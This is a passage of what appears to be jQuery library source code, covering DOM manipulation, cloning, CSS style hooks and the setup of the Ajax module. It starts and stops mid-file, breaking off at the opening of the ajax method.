(jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) &&
!wrapMap[ (rtagName.exec( value ) || ["", ""])[1].toLowerCase() ] ) {
value = value.replace(rxhtmlTag, "<$1></$2>");
try {
for ( var i = 0, l = this.length; i < l; i++ ) {
// Remove element nodes and prevent memory leaks
if ( this[i].nodeType === 1 ) {
jQuery.cleanData( this[i].getElementsByTagName("*") );
this[i].innerHTML = value;
}
}
// If using innerHTML throws an exception, use the fallback method
} catch(e) {
this.empty().append( value );
}
} else if ( jQuery.isFunction( value ) ) {
this.each(function(i){
var self = jQuery( this );
self.html( value.call(this, i, self.html()) );
});
} else {
this.empty().append( value );
}
return this;
},
replaceWith: function( value ) {
if ( this[0] && this[0].parentNode ) {
// Make sure that the elements are removed from the DOM before they are inserted
// this can help fix replacing a parent with child elements
if ( jQuery.isFunction( value ) ) {
return this.each(function(i) {
var self = jQuery(this), old = self.html();
self.replaceWith( value.call( this, i, old ) );
});
}
if ( typeof value !== "string" ) {
value = jQuery( value ).detach();
}
return this.each(function() {
var next = this.nextSibling,
parent = this.parentNode;
jQuery( this ).remove();
if ( next ) {
jQuery(next).before( value );
} else {
jQuery(parent).append( value );
}
});
} else {
return this.length ?
this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), "replaceWith", value ) :
this;
}
},
detach: function( selector ) {
return this.remove( selector, true );
},
domManip: function( args, table, callback ) {
var results, first, fragment, parent,
value = args[0],
scripts = [];
// We can't cloneNode fragments that contain checked, in WebKit
if ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === "string" && rchecked.test( value ) ) {
return this.each(function() {
jQuery(this).domManip( args, table, callback, true );
});
}
if ( jQuery.isFunction(value) ) {
return this.each(function(i) {
var self = jQuery(this);
args[0] = value.call(this, i, table ? self.html() : undefined);
self.domManip( args, table, callback );
});
}
if ( this[0] ) {
parent = value && value.parentNode;
// If we're in a fragment, just use that instead of building a new one
if ( jQuery.support.parentNode && parent && parent.nodeType === 11 && parent.childNodes.length === this.length ) {
results = { fragment: parent };
} else {
results = jQuery.buildFragment( args, this, scripts );
}
fragment = results.fragment;
if ( fragment.childNodes.length === 1 ) {
first = fragment = fragment.firstChild;
} else {
first = fragment.firstChild;
}
if ( first ) {
table = table && jQuery.nodeName( first, "tr" );
for ( var i = 0, l = this.length, lastIndex = l - 1; i < l; i++ ) {
callback.call(
table ?
root(this[i], first) :
this[i],
// Make sure that we do not leak memory by inadvertently discarding
// the original fragment (which might have attached data) instead of
// using it; in addition, use the original fragment object for the last
// item instead of first because it can end up being emptied incorrectly
// in certain situations (Bug #8070).
// Fragments from the fragment cache must always be cloned and never used
// in place.
results.cacheable || (l > 1 && i < lastIndex) ?
jQuery.clone( fragment, true, true ) :
fragment
);
}
}
if ( scripts.length ) {
jQuery.each( scripts, evalScript );
}
}
return this;
}
});
function root( elem, cur ) {
return jQuery.nodeName(elem, "table") ?
(elem.getElementsByTagName("tbody")[0] ||
elem.appendChild(elem.ownerDocument.createElement("tbody"))) :
elem;
}
function cloneCopyEvent( src, dest ) {
if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
return;
}
var internalKey = jQuery.expando,
oldData = jQuery.data( src ),
curData = jQuery.data( dest, oldData );
// Switch to use the internal data object, if it exists, for the next
// stage of data copying
if ( (oldData = oldData[ internalKey ]) ) {
var events = oldData.events;
curData = curData[ internalKey ] = jQuery.extend({}, oldData);
if ( events ) {
delete curData.handle;
curData.events = {};
for ( var type in events ) {
for ( var i = 0, l = events[ type ].length; i < l; i++ ) {
jQuery.event.add( dest, type + ( events[ type ][ i ].namespace ? "." : "" ) + events[ type ][ i ].namespace, events[ type ][ i ], events[ type ][ i ].data );
}
}
}
}
}
function cloneFixAttributes( src, dest ) {
var nodeName;
// We do not need to do anything for non-Elements
if ( dest.nodeType !== 1 ) {
return;
}
// clearAttributes removes the attributes, which we don't want,
// but also removes the attachEvent events, which we *do* want
if ( dest.clearAttributes ) {
dest.clearAttributes();
}
// mergeAttributes, in contrast, only merges back on the
// original attributes, not the events
if ( dest.mergeAttributes ) {
dest.mergeAttributes( src );
}
nodeName = dest.nodeName.toLowerCase();
// IE6-8 fail to clone children inside object elements that use
// the proprietary classid attribute value (rather than the type
// attribute) to identify the type of content to display
if ( nodeName === "object" ) {
dest.outerHTML = src.outerHTML;
} else if ( nodeName === "input" && (src.type === "checkbox" || src.type === "radio") ) {
// IE6-8 fails to persist the checked state of a cloned checkbox
// or radio button. Worse, IE6-7 fail to give the cloned element
// a checked appearance if the defaultChecked value isn't also set
if ( src.checked ) {
dest.defaultChecked = dest.checked = src.checked;
}
// IE6-7 get confused and end up setting the value of a cloned
// checkbox/radio button to an empty string instead of "on"
if ( dest.value !== src.value ) {
dest.value = src.value;
}
// IE6-8 fails to return the selected option to the default selected
// state when cloning options
} else if ( nodeName === "option" ) {
dest.selected = src.defaultSelected;
// IE6-8 fails to set the defaultValue to the correct value when
// cloning other types of input fields
} else if ( nodeName === "input" || nodeName === "textarea" ) {
dest.defaultValue = src.defaultValue;
}
// Event data gets referenced instead of copied if the expando
// gets copied too
dest.removeAttribute( jQuery.expando );
}
jQuery.buildFragment = function( args, nodes, scripts ) {
var fragment, cacheable, cacheresults, doc;
// nodes may contain either an explicit document object,
// a jQuery collection or context object.
// If nodes[0] contains a valid object to assign to doc
if ( nodes && nodes[0] ) {
doc = nodes[0].ownerDocument || nodes[0];
}
// Ensure that an attr object doesn't incorrectly stand in as a document object
// Chrome and Firefox seem to allow this to occur and will throw exception
// Fixes #8950
if ( !doc.createDocumentFragment ) {
doc = document;
}
// Only cache "small" (1/2 KB) HTML strings that are associated with the main document
// Cloning options loses the selected state, so don't cache them
// IE 6 doesn't like it when you put <object> or <embed> elements in a fragment
// Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache
if ( args.length === 1 && typeof args[0] === "string" && args[0].length < 512 && doc === document &&
args[0].charAt(0) === "<" && !rnocache.test( args[0] ) && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) {
cacheable = true;
cacheresults = jQuery.fragments[ args[0] ];
if ( cacheresults && cacheresults !== 1 ) {
fragment = cacheresults;
}
}
if ( !fragment ) {
fragment = doc.createDocumentFragment();
jQuery.clean( args, doc, fragment, scripts );
}
if ( cacheable ) {
jQuery.fragments[ args[0] ] = cacheresults ? fragment : 1;
}
return { fragment: fragment, cacheable: cacheable };
};
jQuery.fragments = {};
jQuery.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function( name, original ) {
jQuery.fn[ name ] = function( selector ) {
var ret = [],
insert = jQuery( selector ),
parent = this.length === 1 && this[0].parentNode;
if ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) {
insert[ original ]( this[0] );
return this;
} else {
for ( var i = 0, l = insert.length; i < l; i++ ) {
var elems = (i > 0 ? this.clone(true) : this).get();
jQuery( insert[i] )[ original ]( elems );
ret = ret.concat( elems );
}
return this.pushStack( ret, name, insert.selector );
}
};
});
function getAll( elem ) {
if ( "getElementsByTagName" in elem ) {
return elem.getElementsByTagName( "*" );
} else if ( "querySelectorAll" in elem ) {
return elem.querySelectorAll( "*" );
} else {
return [];
}
}
// Used in clean, fixes the defaultChecked property
function fixDefaultChecked( elem ) {
if ( elem.type === "checkbox" || elem.type === "radio" ) {
elem.defaultChecked = elem.checked;
}
}
// Finds all inputs and passes them to fixDefaultChecked
function findInputs( elem ) {
if ( jQuery.nodeName( elem, "input" ) ) {
fixDefaultChecked( elem );
} else if ( "getElementsByTagName" in elem ) {
jQuery.grep( elem.getElementsByTagName("input"), fixDefaultChecked );
}
}
jQuery.extend({
clone: function( elem, dataAndEvents, deepDataAndEvents ) {
var clone = elem.cloneNode(true),
srcElements,
destElements,
i;
if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&
(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {
// IE copies events bound via attachEvent when using cloneNode.
// Calling detachEvent on the clone will also remove the events
// from the original. In order to get around this, we use some
// proprietary methods to clear the events. Thanks to MooTools
// guys for this hotness.
cloneFixAttributes( elem, clone );
// Using Sizzle here is crazy slow, so we use getElementsByTagName
// instead
srcElements = getAll( elem );
destElements = getAll( clone );
// Weird iteration because IE will replace the length property
// with an element if you are cloning the body and one of the
// elements on the page has a name or id of "length"
for ( i = 0; srcElements[i]; ++i ) {
// Ensure that the destination node is not null; Fixes #9587
if ( destElements[i] ) {
cloneFixAttributes( srcElements[i], destElements[i] );
}
}
}
// Copy the events from the original to the clone
if ( dataAndEvents ) {
cloneCopyEvent( elem, clone );
if ( deepDataAndEvents ) {
srcElements = getAll( elem );
destElements = getAll( clone );
for ( i = 0; srcElements[i]; ++i ) {
cloneCopyEvent( srcElements[i], destElements[i] );
}
}
}
srcElements = destElements = null;
// Return the cloned set
return clone;
},
clean: function( elems, context, fragment, scripts ) {
var checkScriptType;
context = context || document;
// !context.createElement fails in IE with an error but returns typeof 'object'
if ( typeof context.createElement === "undefined" ) {
context = context.ownerDocument || context[0] && context[0].ownerDocument || document;
}
var ret = [], j;
for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
if ( typeof elem === "number" ) {
elem += "";
}
if ( !elem ) {
continue;
}
// Convert html string into DOM nodes
if ( typeof elem === "string" ) {
if ( !rhtml.test( elem ) ) {
elem = context.createTextNode( elem );
} else {
// Fix "XHTML"-style tags in all browsers
elem = elem.replace(rxhtmlTag, "<$1></$2>");
// Trim whitespace, otherwise indexOf won't work as expected
var tag = (rtagName.exec( elem ) || ["", ""])[1].toLowerCase(),
wrap = wrapMap[ tag ] || wrapMap._default,
depth = wrap[0],
div = context.createElement("div");
// Go to html and back, then peel off extra wrappers
div.innerHTML = wrap[1] + elem + wrap[2];
// Move to the right depth
while ( depth-- ) {
div = div.lastChild;
}
// Remove IE's autoinserted <tbody> from table fragments
if ( !jQuery.support.tbody ) {
// String was a <table>, *may* have spurious <tbody>
var hasBody = rtbody.test(elem),
tbody = tag === "table" && !hasBody ?
div.firstChild && div.firstChild.childNodes :
// String was a bare <thead> or <tfoot>
wrap[1] === "<table>" && !hasBody ?
div.childNodes :
[];
for ( j = tbody.length - 1; j >= 0 ; --j ) {
if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length ) {
tbody[ j ].parentNode.removeChild( tbody[ j ] );
}
}
}
// IE completely kills leading whitespace when innerHTML is used
if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
div.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );
}
elem = div.childNodes;
}
}
// Resets defaultChecked for any radios and checkboxes
// about to be appended to the DOM in IE 6/7 (#8060)
var len;
if ( !jQuery.support.appendChecked ) {
if ( elem[0] && typeof (len = elem.length) === "number" ) {
for ( j = 0; j < len; j++ ) {
findInputs( elem[j] );
}
} else {
findInputs( elem );
}
}
if ( elem.nodeType ) {
ret.push( elem );
} else {
ret = jQuery.merge( ret, elem );
}
}
if ( fragment ) {
checkScriptType = function( elem ) {
return !elem.type || rscriptType.test( elem.type );
};
for ( i = 0; ret[i]; i++ ) {
if ( scripts && jQuery.nodeName( ret[i], "script" ) && (!ret[i].type || ret[i].type.toLowerCase() === "text/javascript") ) {
scripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] );
} else {
if ( ret[i].nodeType === 1 ) {
var jsTags = jQuery.grep( ret[i].getElementsByTagName( "script" ), checkScriptType );
ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
}
fragment.appendChild( ret[i] );
}
}
}
return ret;
},
cleanData: function( elems ) {
var data, id, cache = jQuery.cache, internalKey = jQuery.expando, special = jQuery.event.special,
deleteExpando = jQuery.support.deleteExpando;
for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
if ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {
continue;
}
id = elem[ jQuery.expando ];
if ( id ) {
data = cache[ id ] && cache[ id ][ internalKey ];
if ( data && data.events ) {
for ( var type in data.events ) {
if ( special[ type ] ) {
jQuery.event.remove( elem, type );
// This is a shortcut to avoid jQuery.event.remove's overhead
} else {
jQuery.removeEvent( elem, type, data.handle );
}
}
// Null the DOM reference to avoid IE6/7/8 leak (#7054)
if ( data.handle ) {
data.handle.elem = null;
}
}
if ( deleteExpando ) {
delete elem[ jQuery.expando ];
} else if ( elem.removeAttribute ) {
elem.removeAttribute( jQuery.expando );
}
delete cache[ id ];
}
}
}
});
function evalScript( i, elem ) {
if ( elem.src ) {
jQuery.ajax({
url: elem.src,
async: false,
dataType: "script"
});
} else {
jQuery.globalEval( ( elem.text || elem.textContent || elem.innerHTML || "" ).replace( rcleanScript, "/*$0*/" ) );
}
if ( elem.parentNode ) {
elem.parentNode.removeChild( elem );
}
}
var ralpha = /alpha\([^)]*\)/i,
ropacity = /opacity=([^)]*)/,
// fixed for IE9, see #8346
rupper = /([A-Z]|^ms)/g,
rnumpx = /^-?\d+(?:px)?$/i,
rnum = /^-?\d/,
rrelNum = /^([\-+])=([\-+.\de]+)/,
cssShow = { position: "absolute", visibility: "hidden", display: "block" },
cssWidth = [ "Left", "Right" ],
cssHeight = [ "Top", "Bottom" ],
curCSS,
getComputedStyle,
currentStyle;
jQuery.fn.css = function( name, value ) {
// Setting 'undefined' is a no-op
if ( arguments.length === 2 && value === undefined ) {
return this;
}
return jQuery.access( this, name, value, true, function( elem, name, value ) {
return value !== undefined ?
jQuery.style( elem, name, value ) :
jQuery.css( elem, name );
});
};
jQuery.extend({
// Add in style property hooks for overriding the default
// behavior of getting and setting a style property
cssHooks: {
opacity: {
get: function( elem, computed ) {
if ( computed ) {
// We should always get a number back from opacity
var ret = curCSS( elem, "opacity", "opacity" );
return ret === "" ? "1" : ret;
} else {
return elem.style.opacity;
}
}
}
},
// Exclude the following css properties to add px
cssNumber: {
"fillOpacity": true,
"fontWeight": true,
"lineHeight": true,
"opacity": true,
"orphans": true,
"widows": true,
"zIndex": true,
"zoom": true
},
// Add in properties whose names you wish to fix before
// setting or getting the value
cssProps: {
// normalize float css property
"float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat"
},
// Get and set the style property on a DOM Node
style: function( elem, name, value, extra ) {
// Don't set styles on text and comment nodes
if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
return;
}
// Make sure that we're working with the right name
var ret, type, origName = jQuery.camelCase( name ),
style = elem.style, hooks = jQuery.cssHooks[ origName ];
name = jQuery.cssProps[ origName ] || origName;
// Check if we're setting a value
if ( value !== undefined ) {
type = typeof value;
// convert relative number strings (+= or -=) to relative numbers. #7345
if ( type === "string" && (ret = rrelNum.exec( value )) ) {
value = ( +( ret[1] + 1) * +ret[2] ) + parseFloat( jQuery.css( elem, name ) );
// Fixes bug #9237
type = "number";
}
// Make sure that NaN and null values aren't set. See: #7116
if ( value == null || type === "number" && isNaN( value ) ) {
return;
}
// If a number was passed in, add 'px' to the (except for certain CSS properties)
if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
value += "px";
}
// If a hook was provided, use that value, otherwise just set the specified value
if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value )) !== undefined ) {
// Wrapped to prevent IE from throwing errors when 'invalid' values are provided
// Fixes bug #5509
try {
style[ name ] = value;
} catch(e) {}
}
} else {
// If a hook was provided get the non-computed value from there
if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
return ret;
}
// Otherwise just get the value from the style object
return style[ name ];
}
},
css: function( elem, name, extra ) {
var ret, hooks;
// Make sure that we're working with the right name
name = jQuery.camelCase( name );
hooks = jQuery.cssHooks[ name ];
name = jQuery.cssProps[ name ] || name;
// cssFloat needs a special treatment
if ( name === "cssFloat" ) {
name = "float";
}
// If a hook was provided get the computed value from there
if ( hooks && "get" in hooks && (ret = hooks.get( elem, true, extra )) !== undefined ) {
return ret;
// Otherwise, if a way to get the computed value exists, use that
} else if ( curCSS ) {
return curCSS( elem, name );
}
},
// A method for quickly swapping in/out CSS properties to get correct calculations
swap: function( elem, options, callback ) {
var old = {};
// Remember the old values, and insert the new ones
for ( var name in options ) {
old[ name ] = elem.style[ name ];
elem.style[ name ] = options[ name ];
}
callback.call( elem );
// Revert the old values
for ( name in options ) {
elem.style[ name ] = old[ name ];
}
}
});
// DEPRECATED, Use jQuery.css() instead
jQuery.curCSS = jQuery.css;
jQuery.each(["height", "width"], function( i, name ) {
jQuery.cssHooks[ name ] = {
get: function( elem, computed, extra ) {
var val;
if ( computed ) {
if ( elem.offsetWidth !== 0 ) {
return getWH( elem, name, extra );
} else {
jQuery.swap( elem, cssShow, function() {
val = getWH( elem, name, extra );
});
}
return val;
}
},
set: function( elem, value ) {
if ( rnumpx.test( value ) ) {
// ignore negative width and height values #1599
value = parseFloat( value );
if ( value >= 0 ) {
return value + "px";
}
} else {
return value;
}
}
};
});
if ( !jQuery.support.opacity ) {
jQuery.cssHooks.opacity = {
get: function( elem, computed ) {
// IE uses filters for opacity
return ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "" ) ?
( parseFloat( RegExp.$1 ) / 100 ) + "" :
computed ? "1" : "";
},
set: function( elem, value ) {
var style = elem.style,
currentStyle = elem.currentStyle,
opacity = jQuery.isNaN( value ) ? "" : "alpha(opacity=" + value * 100 + ")",
filter = currentStyle && currentStyle.filter || style.filter || "";
// IE has trouble with opacity if it does not have layout
// Force it by setting the zoom level
style.zoom = 1;
// if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652
if ( value >= 1 && jQuery.trim( filter.replace( ralpha, "" ) ) === "" ) {
// Setting style.filter to null, "" & " " still leave "filter:" in the cssText
// if "filter:" is present at all, clearType is disabled, we want to avoid this
// style.removeAttribute is IE Only, but so apparently is this code path...
style.removeAttribute( "filter" );
// if there there is no filter style applied in a css rule, we are done
if ( currentStyle && !currentStyle.filter ) {
return;
}
}
// otherwise, set new filter values
style.filter = ralpha.test( filter ) ?
filter.replace( ralpha, opacity ) :
filter + " " + opacity;
}
};
}
jQuery(function() {
// This hook cannot be added until DOM ready because the support test
// for it is not run until after DOM ready
if ( !jQuery.support.reliableMarginRight ) {
jQuery.cssHooks.marginRight = {
get: function( elem, computed ) {
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
// Work around by temporarily setting element display to inline-block
var ret;
jQuery.swap( elem, { "display": "inline-block" }, function() {
if ( computed ) {
ret = curCSS( elem, "margin-right", "marginRight" );
} else {
ret = elem.style.marginRight;
}
});
return ret;
}
};
}
});
if ( document.defaultView && document.defaultView.getComputedStyle ) {
getComputedStyle = function( elem, name ) {
var ret, defaultView, computedStyle;
name = name.replace( rupper, "-$1" ).toLowerCase();
if ( !(defaultView = elem.ownerDocument.defaultView) ) {
return undefined;
}
if ( (computedStyle = defaultView.getComputedStyle( elem, null )) ) {
ret = computedStyle.getPropertyValue( name );
if ( ret === "" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {
ret = jQuery.style( elem, name );
}
}
return ret;
};
}
if ( document.documentElement.currentStyle ) {
currentStyle = function( elem, name ) {
var left,
ret = elem.currentStyle && elem.currentStyle[ name ],
rsLeft = elem.runtimeStyle && elem.runtimeStyle[ name ],
style = elem.style;
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels
if ( !rnumpx.test( ret ) && rnum.test( ret ) ) {
// Remember the original values
left = style.left;
// Put in the new values to get a computed value out
if ( rsLeft ) {
elem.runtimeStyle.left = elem.currentStyle.left;
}
style.left = name === "fontSize" ? "1em" : (ret || 0);
ret = style.pixelLeft + "px";
// Revert the changed values
style.left = left;
if ( rsLeft ) {
elem.runtimeStyle.left = rsLeft;
}
}
return ret === "" ? "auto" : ret;
};
}
curCSS = getComputedStyle || currentStyle;
function getWH( elem, name, extra ) {
// Start with offset property
var val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
which = name === "width" ? cssWidth : cssHeight;
if ( val > 0 ) {
if ( extra !== "border" ) {
jQuery.each( which, function() {
if ( !extra ) {
val -= parseFloat( jQuery.css( elem, "padding" + this ) ) || 0;
}
if ( extra === "margin" ) {
val += parseFloat( jQuery.css( elem, extra + this ) ) || 0;
} else {
val -= parseFloat( jQuery.css( elem, "border" + this + "Width" ) ) || 0;
}
});
}
return val + "px";
}
// Fall back to computed then uncomputed css if necessary
val = curCSS( elem, name, name );
if ( val < 0 || val == null ) {
val = elem.style[ name ] || 0;
}
// Normalize "", auto, and prepare for extra
val = parseFloat( val ) || 0;
// Add padding, border, margin
if ( extra ) {
jQuery.each( which, function() {
val += parseFloat( jQuery.css( elem, "padding" + this ) ) || 0;
if ( extra !== "padding" ) {
val += parseFloat( jQuery.css( elem, "border" + this + "Width" ) ) || 0;
}
if ( extra === "margin" ) {
val += parseFloat( jQuery.css( elem, extra + this ) ) || 0;
}
});
}
return val + "px";
}
if ( jQuery.expr && jQuery.expr.filters ) {
jQuery.expr.filters.hidden = function( elem ) {
var width = elem.offsetWidth,
height = elem.offsetHeight;
return (width === 0 && height === 0) || (!jQuery.support.reliableHiddenOffsets && (elem.style.display || jQuery.css( elem, "display" )) === "none");
};
jQuery.expr.filters.visible = function( elem ) {
return !jQuery.expr.filters.hidden( elem );
};
}
var r20 = /%20/g,
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
rhash = /#.*$/,
rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL
rinput = /^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
// #7653, #8125, #8152: local protocol detection
rlocalProtocol = /^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,
rnoContent = /^(?:GET|HEAD)$/,
rprotocol = /^\/\//,
rquery = /\?/,
rscript = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
rselectTextarea = /^(?:select|textarea)/i,
rspacesAjax = /\s+/,
rts = /([?&])_=[^&]*/,
rurl = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,
// Keep a copy of the old load method
_load = jQuery.fn.load,
/* Prefilters
* 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
* 2) These are called:
* - BEFORE asking for a transport
* - AFTER param serialization (s.data is a string if s.processData is true)
* 3) key is the dataType
* 4) the catchall symbol "*" can be used
* 5) execution will start with transport dataType and THEN continue down to "*" if needed
*/
prefilters = {},
/* Transports bindings
* 1) key is the dataType
* 2) the catchall symbol "*" can be used
* 3) selection will start with transport dataType and THEN go to "*" if needed
*/
transports = {},
// Document location
ajaxLocation,
// Document location segments
ajaxLocParts,
// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
allTypes = ["*/"] + ["*"];
// #8138, IE may throw an exception when accessing
// a field from window.location if document.domain has been set
try {
ajaxLocation = location.href;
} catch( e ) {
// Use the href attribute of an A element
// since IE will modify it given document.location
ajaxLocation = document.createElement( "a" );
ajaxLocation.href = "";
ajaxLocation = ajaxLocation.href;
}
// Segment location into parts
ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {
// dataTypeExpression is optional and defaults to "*"
return function( dataTypeExpression, func ) {
if ( typeof dataTypeExpression !== "string" ) {
func = dataTypeExpression;
dataTypeExpression = "*";
}
if ( jQuery.isFunction( func ) ) {
var dataTypes = dataTypeExpression.toLowerCase().split( rspacesAjax ),
i = 0,
length = dataTypes.length,
dataType,
list,
placeBefore;
// For each dataType in the dataTypeExpression
for(; i < length; i++ ) {
dataType = dataTypes[ i ];
// We control if we're asked to add before
// any existing element
placeBefore = /^\+/.test( dataType );
if ( placeBefore ) {
dataType = dataType.substr( 1 ) || "*";
}
list = structure[ dataType ] = structure[ dataType ] || [];
// then we add to the structure accordingly
list[ placeBefore ? "unshift" : "push" ]( func );
}
}
};
}
// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR,
dataType /* internal */, inspected /* internal */ ) {
dataType = dataType || options.dataTypes[ 0 ];
inspected = inspected || {};
inspected[ dataType ] = true;
var list = structure[ dataType ],
i = 0,
length = list ? list.length : 0,
executeOnly = ( structure === prefilters ),
selection;
for(; i < length && ( executeOnly || !selection ); i++ ) {
selection = list[ i ]( options, originalOptions, jqXHR );
// If we got redirected to another dataType
// we try there if executing only and not done already
if ( typeof selection === "string" ) {
if ( !executeOnly || inspected[ selection ] ) {
selection = undefined;
} else {
options.dataTypes.unshift( selection );
selection = inspectPrefiltersOrTransports(
structure, options, originalOptions, jqXHR, selection, inspected );
}
}
}
// If we're only executing or nothing was selected
// we try the catchall dataType if not done already
if ( ( executeOnly || !selection ) && !inspected[ "*" ] ) {
selection = inspectPrefiltersOrTransports(
structure, options, originalOptions, jqXHR, "*", inspected );
}
// unnecessary when only executing (prefilters)
// but it'll be ignored by the caller in that case
return selection;
}
// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
var key, deep,
flatOptions = jQuery.ajaxSettings.flatOptions || {};
for( key in src ) {
if ( src[ key ] !== undefined ) {
( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
}
}
if ( deep ) {
jQuery.extend( true, target, deep );
}
}
jQuery.fn.extend({
load: function( url, params, callback ) {
if ( typeof url !== "string" && _load ) {
return _load.apply( this, arguments );
// Don't do a request if no elements are being requested
} else if ( !this.length ) {
return this;
}
var off = url.indexOf( " " );
if ( off >= 0 ) {
var selector = url.slice( off, url.length );
url = url.slice( 0, off );
}
// Default to a GET request
var type = "GET";
// If the second parameter was provided
if ( params ) {
// If it's a function
if ( jQuery.isFunction( params ) ) {
// We assume that it's the callback
callback = params;
params = undefined;
// Otherwise, build a param string
} else if ( typeof params === "object" ) {
params = jQuery.param( params, jQuery.ajaxSettings.traditional );
type = "POST";
}
}
var self = this;
// Request the remote document
jQuery.ajax({
url: url,
type: type,
dataType: "html",
data: params,
// Complete callback (responseText is used internally)
complete: function( jqXHR, status, responseText ) {
// Store the response as specified by the jqXHR object
responseText = jqXHR.responseText;
// If successful, inject the HTML into all the matched elements
if ( jqXHR.isResolved() ) {
// #4825: Get the actual response in case
// a dataFilter is present in ajaxSettings
jqXHR.done(function( r ) {
responseText = r;
});
// See if a selector was specified
self.html( selector ?
// Create a dummy div to hold the results
jQuery("<div>")
// inject the contents of the document in, removing the scripts
// to avoid any 'Permission Denied' errors in IE
.append(responseText.replace(rscript, ""))
// Locate the specified elements
.find(selector) :
// If not, just inject the full result
responseText );
}
if ( callback ) {
self.each( callback, [ responseText, status, jqXHR ] );
}
}
});
return this;
},
serialize: function() {
return jQuery.param( this.serializeArray() );
},
serializeArray: function() {
return this.map(function(){
return this.elements ? jQuery.makeArray( this.elements ) : this;
})
.filter(function(){
return this.name && !this.disabled &&
( this.checked || rselectTextarea.test( this.nodeName ) ||
rinput.test( this.type ) );
})
.map(function( i, elem ){
var val = jQuery( this ).val();
return val == null ?
null :
jQuery.isArray( val ) ?
jQuery.map( val, function( val, i ){
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}) :
{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}).get();
}
});
// Attach a bunch of functions for handling common AJAX events
jQuery.each( "ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split( " " ), function( i, o ){
jQuery.fn[ o ] = function( f ){
return this.bind( o, f );
};
});
jQuery.each( [ "get", "post" ], function( i, method ) {
jQuery[ method ] = function( url, data, callback, type ) {
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
return jQuery.ajax({
type: method,
url: url,
data: data,
success: callback,
dataType: type
});
};
});
jQuery.extend({
getScript: function( url, callback ) {
return jQuery.get( url, undefined, callback, "script" );
},
getJSON: function( url, data, callback ) {
return jQuery.get( url, data, callback, "json" );
},
// Creates a full fledged settings object into target
// with both ajaxSettings and settings fields.
// If target is omitted, writes into ajaxSettings.
ajaxSetup: function( target, settings ) {
if ( settings ) {
// Building a settings object
ajaxExtend( target, jQuery.ajaxSettings );
} else {
// Extending ajaxSettings
settings = target;
target = jQuery.ajaxSettings;
}
ajaxExtend( target, settings );
return target;
},
ajaxSettings: {
url: ajaxLocation,
isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
global: true,
type: "GET",
contentType: "application/x-www-form-urlencoded",
processData: true,
async: true,
/*
timeout: 0,
data: null,
dataType: null,
username: null,
password: null,
cache: null,
traditional: false,
headers: {},
*/
accepts: {
xml: "application/xml, text/xml",
html: "text/html",
text: "text/plain",
json: "application/json, text/javascript",
"*": allTypes
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText"
},
// List of data converters
// 1) key format is "source_type destination_type" (a single space in-between)
// 2) the catchall symbol "*" can be used for source_type
converters: {
// Convert anything to text
"* text": window.String,
// Text to html (true = no transformation)
"text html": true,
// Evaluate text as a json expression
"text json": jQuery.parseJSON,
// Parse text as xml
"text xml": jQuery.parseXML
},
// For options that shouldn't be deep extended:
// you can add your own custom options here if
// and when you create one that shouldn't be
// deep extended (see ajaxExtend)
flatOptions: {
context: true,
url: true
}
},
ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
ajaxTransport: addToPrefiltersOrTransports( transports ),
// Main method
ajax: function( url, options ) {
